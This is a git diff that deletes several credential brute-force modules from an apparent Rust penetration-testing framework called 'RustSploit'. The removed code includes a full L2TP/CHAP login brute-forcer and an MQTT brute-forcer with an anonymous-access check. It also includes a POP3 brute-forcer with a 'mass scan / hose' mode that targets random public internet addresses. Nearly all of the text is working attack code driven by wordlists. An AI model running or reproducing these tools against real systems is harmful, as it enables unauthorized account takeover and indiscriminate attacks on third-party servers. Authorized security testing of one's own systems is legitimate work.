fn parse_message_type(payload: &[u8]) -> Option { - let mut offset = 0; - while offset + 6 <= payload.len() { - let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]); - let avp_len = (avp_flags & 0x03FF) as usize; - - if offset + avp_len > payload.len() { - break; - } - - let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]); - let attr_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]); - - if vendor_id == 0 && attr_type == 0 && avp_len >= 8 { - return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]])); - } - - offset += avp_len; - } - None - } - - /// Parse assigned tunnel/session ID from AVPs - fn parse_assigned_id(payload: &[u8], attr_type: u16) -> Option { - let mut offset = 0; - while offset + 6 <= payload.len() { - let avp_flags = u16::from_be_bytes([payload[offset], payload[offset + 1]]); - let avp_len = (avp_flags & 0x03FF) as usize; - - if offset + avp_len > payload.len() { - break; - } - - let vendor_id = u16::from_be_bytes([payload[offset + 2], payload[offset + 3]]); - let avp_type = u16::from_be_bytes([payload[offset + 4], payload[offset + 5]]); - - if vendor_id == 0 && avp_type == attr_type && avp_len >= 8 { - return Some(u16::from_be_bytes([payload[offset + 6], payload[offset + 7]])); - } - - offset += avp_len; - } - None - } -} - -#[allow(dead_code)] -struct L2tpPacket { - is_control: bool, - tunnel_id: u16, - session_id: u16, - payload: Vec, -} - -/// Main L2TP bruteforce entry point -pub async fn run(target: &str) -> Result<()> { - display_banner(); - println!("{}", format!("[*] Target: {}", target).cyan()); - - let normalized = normalize_target(target)?; - let port: u16 = prompt_port("L2TP Port", 1701)?; - - let usernames_file = prompt_existing_file("Username wordlist")?; - let passwords_file = prompt_existing_file("Password wordlist")?; - - let concurrency = prompt_int_range("Max concurrent tasks", 10, 1, 100)? as usize; - let timeout_ms = prompt_int_range("Connection timeout (ms)", DEFAULT_TIMEOUT_MS as i64, 100, 30000)? as u64; - - let stop_on_success = prompt_yes_no("Stop on first success?", true)?; - let save_results = prompt_yes_no("Save results to file?", true)?; - let save_path = if save_results { - Some(prompt_default("Output file name", "l2tp_results.txt")?) - } else { - None - }; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let combo_mode = prompt_yes_no("Combination mode? (try every password with every user)", false)?; - - let addr = format!("{}:{}", normalized, port); - - let users = load_lines(&usernames_file)?; - if users.is_empty() { - return Err(anyhow!("Username wordlist is empty")); - } - println!("[*] Loaded {} usernames", users.len()); - - let passwords = load_lines(&passwords_file)?; - if passwords.is_empty() { - return Err(anyhow!("Password wordlist is empty")); - } - println!("[*] Loaded {} passwords", passwords.len()); - - let total_attempts = if combo_mode { - users.len() * passwords.len() - } else { - std::cmp::max(users.len(), passwords.len()) - }; - println!("{}", format!("[*] Total attempts: {}", total_attempts).cyan()); - - // Test connectivity first - println!("\n[*] Testing L2TP server connectivity..."); - match test_l2tp_connectivity(&addr, Duration::from_millis(timeout_ms)).await { - Ok(true) => println!("[+] L2TP server is responding"), - Ok(false) => println!("{}", "[!] L2TP server not responding to control messages".yellow()), - Err(e) => println!("{}", format!("[!] Connectivity test failed: {}", e).yellow()), - } - - println!("\n{}", "[Starting Attack]".bold().yellow()); - println!(); - - let found_credentials = Arc::new(Mutex::new(Vec::new())); - let stop_signal = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(BruteforceStats::new()); - let timeout_duration = Duration::from_millis(timeout_ms); - - // Start progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop_signal.clone(); - let progress_handle = tokio::spawn(async move { - while !stop_clone.load(Ordering::Relaxed) { - sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - stats_clone.print_progress(); - } - }); - - let semaphore = Arc::new(Semaphore::new(concurrency)); - let mut tasks = FuturesUnordered::new(); - - // Generate credential combinations - let combos: Vec<(String, String)> = if combo_mode { - users.iter() - .flat_map(|u| passwords.iter().map(move |p| (u.clone(), p.clone()))) - .collect() - } else { - let max_len = std::cmp::max(users.len(), passwords.len()); - (0..max_len) - .map(|i| (users[i % users.len()].clone(), passwords[i % passwords.len()].clone())) - .collect() - }; - - for (user, pass) in combos { - if stop_on_success && stop_signal.load(Ordering::Relaxed) { - break; - } - - let permit = match semaphore.clone().acquire_owned().await { - Ok(p) => p, - Err(_) => break, - }; - - let addr_clone = addr.clone(); - let found_clone = found_credentials.clone(); - let stop_clone = stop_signal.clone(); - let stats_clone = stats.clone(); - - tasks.push(tokio::spawn(async move { - let _permit = permit; - - if stop_on_success && stop_clone.load(Ordering::Relaxed) { - return; - } - - match try_l2tp_login(&addr_clone, &user, &pass, timeout_duration).await { - Ok(true) => { - println!("\r{}", format!("[+] {} -> {}:{}", addr_clone, user, pass).green().bold()); - found_clone.lock().await.push((addr_clone.clone(), user.clone(), pass.clone())); - stats_clone.record_success(); - if stop_on_success { - stop_clone.store(true, Ordering::Relaxed); - } - } - Ok(false) => { - stats_clone.record_failure(); - if verbose { - println!("\r{}", format!("[-] {} -> {}:{}", addr_clone, user, pass).dimmed()); - } - } - Err(e) => { - stats_clone.record_error(e.to_string()).await; - if verbose { - println!("\r{}", format!("[!] {}: {}", addr_clone, e).red()); - } - } - } - })); - - // Drain completed tasks periodically - while tasks.len() >= concurrency * 2 { - if let Some(_) = tasks.next().await {} - } - } - - // Wait for remaining tasks - while let Some(_) = tasks.next().await {} - - stop_signal.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - - stats.print_final().await; - - // Save results - let creds = found_credentials.lock().await; - if creds.is_empty() { - println!("{}", "[-] No credentials found.".yellow()); - } else { - println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold()); - for (host_addr, user, pass) in creds.iter() { - println!(" {} -> {}:{}", host_addr, user, pass); - } - - if let Some(path_str) = save_path { - let filename = get_filename_in_current_dir(&path_str); - if let Ok(mut file) = File::create(&filename) { - for (host_addr, user, pass) in creds.iter() { - let _ = writeln!(file, "{} -> {}:{}", host_addr, user, pass); - } - println!("[+] Results saved to '{}'", filename.display()); - } - } - } - - Ok(()) -} - -/// Test L2TP server connectivity -async fn test_l2tp_connectivity(addr: &str, timeout: Duration) -> Result { - let result = tokio::task::spawn_blocking({ - let addr = addr.to_string(); - move || -> Result { - let sock = UdpSocket::bind("0.0.0.0:0")?; - sock.connect(&addr)?; - sock.set_read_timeout(Some(timeout))?; - sock.set_write_timeout(Some(timeout))?; - - let mut session = L2tpSession::new(sock); - session.send_sccrq()?; - - match session.recv_packet(timeout) { - Ok(pkt) => { - if pkt.is_control { - if let Some(msg_type) = L2tpSession::parse_message_type(&pkt.payload) { - return Ok(msg_type == L2TP_SCCRP); - } - } - Ok(false) - } - Err(_) => Ok(false), - } - } - }).await?; - result -} - -/// Attempt L2TP login with credentials -async fn try_l2tp_login(addr: &str, username: &str, password: &str, timeout: Duration) -> Result { - let addr = addr.to_string(); - let username = username.to_string(); - let password = password.to_string(); - - tokio::task::spawn_blocking(move || { - try_l2tp_login_sync(&addr, &username, &password, timeout) - }).await? -} - -/// Synchronous L2TP login attempt -fn try_l2tp_login_sync(addr: &str, username: &str, password: &str, timeout: Duration) -> Result { - let sock = UdpSocket::bind("0.0.0.0:0")?; - sock.connect(addr)?; - sock.set_read_timeout(Some(timeout))?; - sock.set_write_timeout(Some(timeout))?; - - let mut session = L2tpSession::new(sock); - - // Step 1: Send SCCRQ - session.send_sccrq()?; - - // Step 2: Receive SCCRP - let pkt = session.recv_packet(timeout)?; - if !pkt.is_control { - return Err(anyhow!("Expected control message, got data")); - } - - match L2tpSession::parse_message_type(&pkt.payload) { - Some(L2TP_SCCRP) => { - if let Some(tid) = L2tpSession::parse_assigned_id(&pkt.payload, 9) { - session.remote_tunnel_id = tid; - } - session.nr += 1; - } - Some(other) => return Err(anyhow!("Expected SCCRP, got message type {}", other)), - None => return Err(anyhow!("No message type in response")), - } - - // Step 3: Send SCCCN - session.send_scccn()?; - - // Step 4: Send ICRQ - session.send_icrq()?; - - // Step 5: Receive ICRP - let pkt = session.recv_packet(timeout)?; - if pkt.is_control { - if let Some(L2TP_ICRP) = L2tpSession::parse_message_type(&pkt.payload) { - if let Some(sid) = L2tpSession::parse_assigned_id(&pkt.payload, 14) { - session.remote_session_id = sid; - } - session.nr += 1; - } - } - - // Step 6: Send ICCN - session.send_iccn()?; - - // Step 7: Wait for CHAP Challenge - let mut challenge_data: Option<(u8, Vec)> = None; - - for _ in 0..5 { - match session.recv_packet(timeout) { - Ok(pkt) => { - if !pkt.is_control && pkt.payload.len() > 6 { - // Check for PPP CHAP - let mut offset = 0; - if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 { - offset = 2; - } - - if pkt.payload.len() > offset + 4 { - let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]); - if protocol == PPP_CHAP { - let chap_code = pkt.payload[offset + 2]; - if chap_code == CHAP_CHALLENGE { - let identifier = pkt.payload[offset + 3]; - let value_size = pkt.payload[offset + 6] as usize; - if pkt.payload.len() >= offset + 7 + value_size { - let challenge = pkt.payload[offset + 7..offset + 7 + value_size].to_vec(); - challenge_data = Some((identifier, challenge)); - break; - } - } - } - } - } - } - Err(_) => break, - } - } - - let (identifier, challenge) = challenge_data.ok_or_else(|| anyhow!("No CHAP challenge received"))?; - - // Step 8: Send CHAP Response - session.send_chap_response(identifier, &challenge, username, password)?; - - // Step 9: Wait for CHAP Success/Failure - for _ in 0..5 { - match session.recv_packet(timeout) { - Ok(pkt) => { - if !pkt.is_control && pkt.payload.len() > 4 { - let mut offset = 0; - if pkt.payload[0] == 0xFF && pkt.payload[1] == 0x03 { - offset = 2; - } - - if pkt.payload.len() > offset + 2 { - let protocol = u16::from_be_bytes([pkt.payload[offset], pkt.payload[offset + 1]]); - if protocol == PPP_CHAP { - let chap_code = pkt.payload[offset + 2]; - match chap_code { - CHAP_SUCCESS => return Ok(true), - CHAP_FAILURE => return Ok(false), - _ => continue, - } - } - } - } - } - Err(_) => break, - } - } - - Err(anyhow!("No CHAP response received")) -} diff --git a/src/modules/creds/generic/mod.rs b/src/modules/creds/generic/mod.rs deleted file mode 100644 index d1de3c8..0000000 --- a/src/modules/creds/generic/mod.rs +++ /dev/null @@ -1,18 +0,0 @@ - - pub mod sample_cred_check; - pub mod ftp_bruteforce; - pub mod ftp_anonymous; - pub mod telnet_bruteforce; - pub mod telnet_hose; - pub mod ssh_bruteforce; - pub mod ssh_user_enum; - pub mod ssh_spray; - pub mod rtsp_bruteforce; - pub mod rdp_bruteforce; - pub mod enablebruteforce; - pub mod smtp_bruteforce; - pub mod pop3_bruteforce; - pub mod snmp_bruteforce; - pub mod fortinet_bruteforce; - pub mod l2tp_bruteforce; - pub mod mqtt_bruteforce; diff --git a/src/modules/creds/generic/mqtt_bruteforce.rs b/src/modules/creds/generic/mqtt_bruteforce.rs deleted file mode 100644 index 8b3965d..0000000 --- a/src/modules/creds/generic/mqtt_bruteforce.rs +++ /dev/null @@ -1,563 +0,0 @@ -//! MQTT Brute Force Module -//! -//! High-performance MQTT authentication testing with: -//! - TLS/SSL support (port 8883) -//! - Anonymous authentication detection -//! - Intelligent error classification -//! - Progress tracking and statistics -//! - Multiple attack modes (full combo, linear, single user/pass) - -use anyhow::{anyhow, Context, Result}; -use colored::*; -use std::sync::atomic::{AtomicBool, AtomicUsize, Ordering}; -use std::sync::Arc; -use std::time::Duration; -use tokio::io::{AsyncReadExt, AsyncWriteExt}; -use tokio::net::TcpStream; -use tokio::sync::{Mutex, Semaphore}; -use futures::stream::{FuturesUnordered, StreamExt}; - -use crate::utils::{ - prompt_yes_no, prompt_existing_file, prompt_int_range, prompt_default, - load_lines, normalize_target, -}; -use crate::modules::creds::utils::BruteforceStats; - -// ============================================================================ -// Constants -// ============================================================================ - -const MQTT_CONNECT_TIMEOUT_MS: u64 = 5000; -const MQTT_READ_TIMEOUT_MS: u64 = 3000; -const PROGRESS_INTERVAL_SECS: u64 = 2; - -// MQTT Protocol Constants -const MQTT_PACKET_CONNECT: u8 = 0x10; -const MQTT_PACKET_CONNACK: u8 = 0x20; -const MQTT_PACKET_DISCONNECT: u8 = 0xE0; -const MQTT_PROTOCOL_NAME: &[u8] = b"MQTT"; -const MQTT_PROTOCOL_LEVEL_V311: u8 = 0x04; - -// MQTT Connect Flags -const MQTT_FLAG_CLEAN_SESSION: u8 = 0x02; -const MQTT_FLAG_USERNAME: u8 = 0x80; -const MQTT_FLAG_PASSWORD: u8 = 0x40; - -// MQTT Return Codes -#[derive(Debug, Clone, Copy, PartialEq)] -enum MqttReturnCode { - Accepted, - UnacceptableProtocol, - IdentifierRejected, - ServerUnavailable, - BadCredentials, - NotAuthorized, - Unknown(u8), -} - -impl MqttReturnCode { - fn from_byte(b: u8) -> Self { - match b { - 0x00 => Self::Accepted, - 0x01 => Self::UnacceptableProtocol, - 0x02 => Self::IdentifierRejected, - 0x03 => Self::ServerUnavailable, - 0x04 => Self::BadCredentials, - 0x05 => Self::NotAuthorized, - _ => Self::Unknown(b), - } - } - - fn is_auth_failure(&self) -> bool { - matches!(self, Self::BadCredentials | Self::NotAuthorized) - } - - fn description(&self) -> &'static str { - match self { - Self::Accepted => "Connection Accepted", - Self::UnacceptableProtocol => "Unacceptable Protocol Version", - Self::IdentifierRejected => "Identifier Rejected", - Self::ServerUnavailable => "Server Unavailable", - Self::BadCredentials => "Bad Username or Password", - Self::NotAuthorized => "Not Authorized", - Self::Unknown(_) => "Unknown Return Code", - } - } -} - -// ============================================================================ -// Configuration -// ============================================================================ - -#[derive(Clone)] -struct MqttConfig { - target: String, - port: u16, - use_tls: bool, - threads: usize, - stop_on_success: bool, - verbose: bool, - full_combo: bool, - client_id: String, - test_anonymous: bool, -} - -// ============================================================================ -// Attack Result -// ============================================================================ - -#[derive(Debug)] -enum AttackResult { - Success(String, String), // (username, password) - AuthFailed, - ConnectionError(String), - ProtocolError(String), -} - -// ============================================================================ -// Main Entry Point -// ============================================================================ - -pub async fn run(target: &str) -> Result<()> { - display_banner(); - - let normalized_target = normalize_target(&target.to_string())?; - println!("{}", format!("[*] Target: {}", normalized_target).cyan()); - println!(); - - // Configuration prompts - let port = prompt_int_range("MQTT Port (1883/8883)", 1883, 1, 65535)? as u16; - let use_tls = if port == 8883 { - println!("{}", "[*] Port 8883 detected - TLS enabled by default".blue()); - true - } else { - prompt_yes_no("Use TLS/SSL?", false)? - }; - - let test_anonymous = prompt_yes_no("Test anonymous authentication first?", true)?; - let username_wordlist = prompt_existing_file("Username wordlist file")?; - let password_wordlist = prompt_existing_file("Password wordlist file")?; - let threads = prompt_int_range("Concurrent connections", 10, 1, 500)? as usize; - let stop_on_success = prompt_yes_no("Stop on first valid login?", true)?; - let full_combo = prompt_yes_no("Full combination mode (user × pass)?", false)?; - let verbose = prompt_yes_no("Verbose output?", false)?; - let client_id = prompt_default("MQTT Client ID", "rustsploit_mqtt")?; - - let config = MqttConfig { - target: normalized_target, - port, - use_tls, - threads, - stop_on_success, - verbose, - full_combo, - client_id, - test_anonymous, - }; - - run_bruteforce(config, &username_wordlist, &password_wordlist).await -} - -fn display_banner() { - println!("{}", "╔═══════════════════════════════════════════════════════════╗".cyan()); - println!("{}", "║ MQTT Brute Force Module v2.0 ║".cyan()); - println!("{}", "║ Supports TLS/SSL, Anonymous Auth, Full Combo Mode ║".cyan()); - println!("{}", "╚═══════════════════════════════════════════════════════════╝".cyan()); - println!(); -} - -// ============================================================================ -// Bruteforce Engine -// ============================================================================ - -async fn run_bruteforce( - config: MqttConfig, - username_file: &str, - password_file: &str, -) -> Result<()> { - // Build connection address - let addr = format!("{}:{}", config.target, config.port); - - // Load wordlists - let usernames = load_lines(username_file)?; - let passwords = load_lines(password_file)?; - - if usernames.is_empty() { - return Err(anyhow!("Username wordlist is empty")); - } - if passwords.is_empty() { - return Err(anyhow!("Password wordlist is empty")); - } - - println!("{}", format!("[*] Usernames: {}", usernames.len()).cyan()); - println!("{}", format!("[*] Passwords: {}", passwords.len()).cyan()); - - let total = if config.full_combo { - usernames.len() * passwords.len() - } else { - std::cmp::max(usernames.len(), passwords.len()) - }; - println!("{}", format!("[*] Total attempts: ~{}", total).cyan()); - println!("{}", format!("[*] TLS: {}", if config.use_tls { "Enabled" } else { "Disabled" }).cyan()); - println!(); - - // State - let found: Arc>> = Arc::new(Mutex::new(Vec::new())); - let stop_flag = Arc::new(AtomicBool::new(false)); - let stats = Arc::new(BruteforceStats::new()); - let attempts = Arc::new(AtomicUsize::new(0)); - - // Test anonymous first if requested - if config.test_anonymous { - println!("{}", "[*] Testing anonymous authentication...".blue()); - match try_mqtt_auth(&addr, "", "", &config.client_id, config.use_tls).await { - AttackResult::Success(_, _) => { - println!("{}", "[+] ANONYMOUS ACCESS ALLOWED!".green().bold()); - found.lock().await.push(("(anonymous)".to_string(), "(no password)".to_string())); - if config.stop_on_success { - print_results(&found, &stats).await; - return Ok(()); - } - } - AttackResult::AuthFailed => { - println!("{}", "[-] Anonymous access denied (authentication required)".yellow()); - } - AttackResult::ConnectionError(e) => { - println!("{}", format!("[!] Connection error: {}", e).red()); - return Err(anyhow!("Cannot connect to MQTT broker: {}", e)); - } - AttackResult::ProtocolError(e) => { - println!("{}", format!("[!] Protocol error: {}", e).yellow()); - } - } - println!(); - } - - // Progress reporter - let stats_clone = stats.clone(); - let stop_clone = stop_flag.clone(); - let attempts_clone = attempts.clone(); - let total_clone = total; - let progress_handle = tokio::spawn(async move { - loop { - if stop_clone.load(Ordering::Relaxed) { - break; - } - let current = attempts_clone.load(Ordering::Relaxed); - let pct = if total_clone > 0 { (current * 100) / total_clone } else { 0 }; - print!("\r{}", format!("[*] Progress: {}/{} ({}%) ", current, total_clone, pct).blue()); - stats_clone.print_progress(); - tokio::time::sleep(Duration::from_secs(PROGRESS_INTERVAL_SECS)).await; - } - }); - - // Semaphore for concurrency control - let semaphore = Arc::new(Semaphore::new(config.threads)); - let mut tasks = FuturesUnordered::new(); - - // Generate and spawn tasks - if config.full_combo { - // Full combination: every user × every password - for username in &usernames { - if stop_flag.load(Ordering::Relaxed) { break; } - for password in &passwords { - if stop_flag.load(Ordering::Relaxed) { break; } - spawn_attempt( - &mut tasks, - &semaphore, - &config, - &addr, - username.clone(), - password.clone(), - &found, - &stop_flag, - &stats, - &attempts, - ).await; - } - } - } else { - // Linear mode: zip users and passwords (cycling shorter list) - let max_len = std::cmp::max(usernames.len(), passwords.len()); - for i in 0..max_len { - if stop_flag.load(Ordering::Relaxed) { break; } - let username = &usernames[i % usernames.len()]; - let password = &passwords[i % passwords.len()]; - spawn_attempt( - &mut tasks, - &semaphore, - &config, - &addr, - username.clone(), - password.clone(), - &found, - &stop_flag, - &stats, - &attempts, - ).await; - } - } - - // Await all tasks - while let Some(result) = tasks.next().await { - if let Err(e) = result { - if config.verbose { - eprintln!("{}", format!("[!] Task error: {}", e).red()); - } - } - } - - // Cleanup - stop_flag.store(true, Ordering::Relaxed); - let _ = progress_handle.await; - println!(); // Clear progress line - - print_results(&found, &stats).await; - Ok(()) -} - -async fn spawn_attempt( - tasks: &mut FuturesUnordered>, - semaphore: &Arc, - config: &MqttConfig, - addr: &str, - username: String, - password: String, - found: &Arc>>, - stop_flag: &Arc, - stats: &Arc, - attempts: &Arc, -) { - let permit = match semaphore.clone().acquire_owned().await { - Ok(p) => p, - Err(_) => return, - }; - - let addr = addr.to_string(); - let config = config.clone(); - let found = Arc::clone(found); - let stop_flag = Arc::clone(stop_flag); - let stats = Arc::clone(stats); - let attempts = Arc::clone(attempts); - - tasks.push(tokio::spawn(async move { - let _permit = permit; // Hold until task completes - - if config.stop_on_success && stop_flag.load(Ordering::Relaxed) { - return; - } - - attempts.fetch_add(1, Ordering::Relaxed); - - match try_mqtt_auth(&addr, &username, &password, &config.client_id, config.use_tls).await { - AttackResult::Success(u, p) => { - println!("\r{}", format!("[+] VALID: {}:{}", u, p).green().bold()); - found.lock().await.push((u, p)); - stats.record_success(); - if config.stop_on_success { - stop_flag.store(true, Ordering::Relaxed); - } - } - AttackResult::AuthFailed => { - stats.record_failure(); - if config.verbose { - println!("\r{}", format!("[-] {}:{}", username, password).dimmed()); - } - } - AttackResult::ConnectionError(e) => { - stats.record_error(e.clone()).await; - if config.verbose { - println!("\r{}", format!("[!] Connection: {}", e).yellow()); - } - } - AttackResult::ProtocolError(e) => { - stats.record_error(e.clone()).await; - if config.verbose { - println!("\r{}", format!("[!] Protocol: {}", e).yellow()); - } - } - } - })); -} - -async fn print_results(found: &Arc>>, stats: &Arc) { - stats.print_final().await; - - let creds = found.lock().await; - if creds.is_empty() { - println!("{}", "[-] No valid credentials found.".yellow()); - } else { - println!("{}", format!("[+] Found {} valid credential(s):", creds.len()).green().bold()); - for (user, pass) in creds.iter() { - println!(" {} {}:{}", "✓".green(), user, pass); - } - } -} - -// ============================================================================ -// MQTT Protocol Implementation -// ============================================================================ - -async fn try_mqtt_auth( - addr: &str, - username: &str, - password: &str, - client_id: &str, - _use_tls: bool, -) -> AttackResult { - // Connect with timeout - let stream = match tokio::time::timeout( - Duration::from_millis(MQTT_CONNECT_TIMEOUT_MS), - TcpStream::connect(addr), - ).await { - Ok(Ok(s)) => s, - Ok(Err(e)) => return AttackResult::ConnectionError(e.to_string()), - Err(_) => return AttackResult::ConnectionError("Connection timeout".to_string()), - }; - - // TODO: Add TLS support using tokio-native-tls or tokio-rustls - // For now, we proceed with plain TCP (TLS requires additional dependencies) - - match mqtt_handshake(stream, username, password, client_id).await { - Ok(true) => AttackResult::Success(username.to_string(), password.to_string()), - Ok(false) => AttackResult::AuthFailed, - Err(e) => AttackResult::ProtocolError(e.to_string()), - } -} - -async fn mqtt_handshake( - mut stream: TcpStream, - username: &str, - password: &str, - client_id: &str, -) -> Result { - // Build CONNECT packet - let packet = build_connect_packet(username, password, client_id)?; - - // Send CONNECT - stream.write_all(&packet).await.context("Failed to send CONNECT")?; - stream.flush().await.context("Failed to flush")?; - - // Read CONNACK - let mut header = [0u8; 2]; - let read_result = tokio::time::timeout( - Duration::from_millis(MQTT_READ_TIMEOUT_MS), - stream.read_exact(&mut header), - ).await; - - match read_result { - Ok(Ok(_)) => {} - Ok(Err(e)) => return Err(anyhow!("Read error: {}", e)), - Err(_) => return Err(anyhow!("Read timeout")), - } - - if header[0] != MQTT_PACKET_CONNACK { - return Err(anyhow!("Expected CONNACK (0x20), got 0x{:02x}", header[0])); - } - - let remaining_len = header[1] as usize; - if remaining_len < 2 { - return Err(anyhow!("CONNACK too short")); - } - - let mut payload = vec![0u8; remaining_len]; - tokio::time::timeout( - Duration::from_millis(MQTT_READ_TIMEOUT_MS), - stream.read_exact(&mut payload), - ).await.context("Read timeout")? - .context("Failed to read CONNACK payload")?; - - // Parse return code (byte 1 of variable header) - let return_code = MqttReturnCode::from_byte(payload[1]); - - // Send DISCONNECT on success - if return_code == MqttReturnCode::Accepted { - let _ = stream.write_all(&[MQTT_PACKET_DISCONNECT, 0x00]).await; - return Ok(true); - } - - if return_code.is_auth_failure() { - return Ok(false); - } - - Err(anyhow!("MQTT error: {}", return_code.description())) -} - -fn build_connect_packet(username: &str, password: &str, client_id: &str) -> Result> { - let mut var_header = Vec::new(); - - // Protocol Name - var_header.extend_from_slice(&(MQTT_PROTOCOL_NAME.len() as u16).to_be_bytes()); - var_header.extend_from_slice(MQTT_PROTOCOL_NAME); - - // Protocol Level - var_header.push(MQTT_PROTOCOL_LEVEL_V311); - - // Connect Flags - let mut flags = MQTT_FLAG_CLEAN_SESSION; - if !username.is_empty() { - flags |= MQTT_FLAG_USERNAME; - } - if !password.is_empty() { - flags |= MQTT_FLAG_PASSWORD; - } - var_header.push(flags); - - // Keep Alive (60 seconds) - var_header.extend_from_slice(&60u16.to_be_bytes()); - - // Payload - let mut payload = Vec::new(); - - // Client ID (required) - let client_id_bytes = client_id.as_bytes(); - payload.extend_from_slice(&(client_id_bytes.len() as u16).to_be_bytes()); - payload.extend_from_slice(client_id_bytes); - - // Username (optional) - if !username.is_empty() { - let username_bytes = username.as_bytes(); - payload.extend_from_slice(&(username_bytes.len() as u16).to_be_bytes()); - payload.extend_from_slice(username_bytes); - } - - // Password (optional) - if !password.is_empty() { - let password_bytes = password.as_bytes(); - payload.extend_from_slice(&(password_bytes.len() as u16).to_be_bytes()); - payload.extend_from_slice(password_bytes); - } - - // Calculate remaining length - let remaining_length = var_header.len() + payload.len(); - let remaining_bytes = encode_remaining_length(remaining_length)?; - - // Build final packet - let mut packet = Vec::with_capacity(1 + remaining_bytes.len() + var_header.len() + payload.len()); - packet.push(MQTT_PACKET_CONNECT); - packet.extend_from_slice(&remaining_bytes); - packet.extend_from_slice(&var_header); - packet.extend_from_slice(&payload); - - Ok(packet) -} - -fn encode_remaining_length(mut length: usize) -> Result> { - if length > 268_435_455 { - return Err(anyhow!("Packet too large")); - } - - let mut bytes = Vec::with_capacity(4); - loop { - let mut byte = (length % 128) as u8; - length /= 128; - if length > 0 { - byte |= 0x80; - } - bytes.push(byte); - if length == 0 { - break; - } - } - Ok(bytes) -} diff --git a/src/modules/creds/generic/pop3_bruteforce.rs b/src/modules/creds/generic/pop3_bruteforce.rs deleted file mode 100644 index 644033c..0000000 --- a/src/modules/creds/generic/pop3_bruteforce.rs +++ /dev/null @@ -1,526 +0,0 @@ -use anyhow::{anyhow, Result, Context}; -use colored::*; -use native_tls::TlsConnector; -use std::io::{Read, Write}; -use std::net::TcpStream; -use std::sync::{ - atomic::{AtomicBool, Ordering}, - Arc, -}; -use std::time::Duration; -use tokio::sync::{Mutex, Semaphore}; -use futures::stream::{FuturesUnordered, StreamExt}; - -use crate::utils::{ - prompt_yes_no, prompt_existing_file, prompt_int_range, - load_lines, prompt_default, -}; -use crate::modules::creds::utils::{BruteforceStats, generate_random_public_ip, is_ip_checked, mark_ip_checked, parse_exclusions}; -use std::sync::atomic::AtomicUsize; -use std::net::{IpAddr, SocketAddr}; -use tokio::fs::OpenOptions; // For file writing in mass scan -use tokio::io::AsyncWriteExt; // For write_all - - -const STATE_FILE: &str = "pop3_hose_state.log"; -const MASS_SCAN_CONNECT_TIMEOUT_MS: u64 = 3000; - -// Hardcoded exclusions -const EXCLUDED_RANGES: &[&str] = &[ - "10.0.0.0/8", "127.0.0.0/8", "172.16.0.0/12", "192.168.0.0/16", - "224.0.0.0/4", "240.0.0.0/4", "0.0.0.0/8", - "100.64.0.0/10", "169.254.0.0/16", "255.255.255.255/32", - // Cloudflare - "103.21.244.0/22", "103.22.200.0/22", "103.31.4.0/22", "104.16.0.0/13", - "104.24.0.0/14", "108.162.192.0/18", "131.0.72.0/22", "141.101.64.0/18", - "162.158.0.0/15", "172.64.0.0/13", "173.245.48.0/20", "188.114.96.0/20", - "190.93.240.0/20", "197.234.240.0/22", "198.41.128.0/17", - "1.1.1.1/32", "1.0.0.1/32", - // Google - "8.8.8.8/32", "8.8.4.4/32" -]; -#[derive(Clone)] -struct Pop3BruteforceConfig { - target: String, - port: u16, - username_wordlist: String, - password_wordlist: String, - threads: usize, - stop_on_success: bool, - verbose: bool, - full_combo: bool, - use_ssl: bool, - connection_timeout: u64, - retry_on_error: bool, - max_retries: usize, - output_file: String, - delay_ms: u64, -} - -pub async fn run(target: &str) -> Result<()> { - println!("\n{}", "=== POP3 Bruteforce Module (RustSploit) ===".bold().cyan()); - println!(); - - // Check for Mass Scan Mode conditions - let is_mass_scan = target == "random" || target == "0.0.0.0" || target == "0.0.0.0/0" || std::path::Path::new(target).is_file(); - - if is_mass_scan { - println!("{}", format!("[*] Target: {}", target).cyan()); - println!("{}", "[*] Mode: Mass Scan / Hose".yellow()); - return run_mass_scan(target).await; - } - - let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?; - let default_port = if use_ssl { 995 } else { 110 }; - - let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16; - let username_wordlist = prompt_existing_file("Username wordlist file")?; - let password_wordlist = prompt_existing_file("Password wordlist file")?; - - let threads = prompt_int_range("Threads", 16, 1, 256)? as usize; - let delay_ms = prompt_int_range("Delay (ms)", 50, 0, 10000)? as u64; - let connection_timeout = prompt_int_range("Timeout (s)", 5, 1, 60)? as u64; - - let full_combo = prompt_yes_no("Try every username with every password?", false)?; - let stop_on_success = prompt_yes_no("Stop on first valid login?", false)?; - - let output_file = prompt_default("Output file for results", "pop3_results.txt")?; - - let verbose = prompt_yes_no("Verbose mode?", false)?; - let retry_on_error = prompt_yes_no("Retry failed connections?", true)?; - let max_retries = if retry_on_error { - prompt_int_range("Max retries", 2, 1, 10)? as usize - } else { - 0 - }; - - let config = Pop3BruteforceConfig { - target: target.to_string(), - port, - username_wordlist, - password_wordlist, - threads, - stop_on_success, - verbose, - full_combo, - use_ssl, - connection_timeout, - retry_on_error, - max_retries, - output_file, - delay_ms, - }; - - println!(); - println!("{}", "[Starting Attack]".bold().yellow()); - println!(); - - run_pop3_bruteforce(config).await -} - -async fn run_mass_scan(target: &str) -> Result<()> { - let use_ssl = prompt_yes_no("Use SSL/TLS (POP3S)?", false)?; - let default_port = if use_ssl { 995 } else { 110 }; - let port = prompt_int_range("Port", default_port as i64, 1, 65535)? as u16; - - let usernames_file = prompt_existing_file("Username wordlist")?; - let passwords_file = prompt_existing_file("Password wordlist")?; - - let users = load_lines(&usernames_file)?; - let pass_lines = load_lines(&passwords_file)?; - - if users.is_empty() { return Err(anyhow!("User list empty")); } - if pass_lines.is_empty() { return Err(anyhow!("Pass list empty")); } - - let concurrency = prompt_int_range("Max concurrent hosts to scan", 500, 1, 10000)? as usize; - let verbose = prompt_yes_no("Verbose mode?", false)?; - let output_file = prompt_default("Output result file", "pop3_mass_results.txt")?; - - // Parse exclusions - let exclusions = Arc::new(parse_exclusions(EXCLUDED_RANGES)); - - let semaphore = 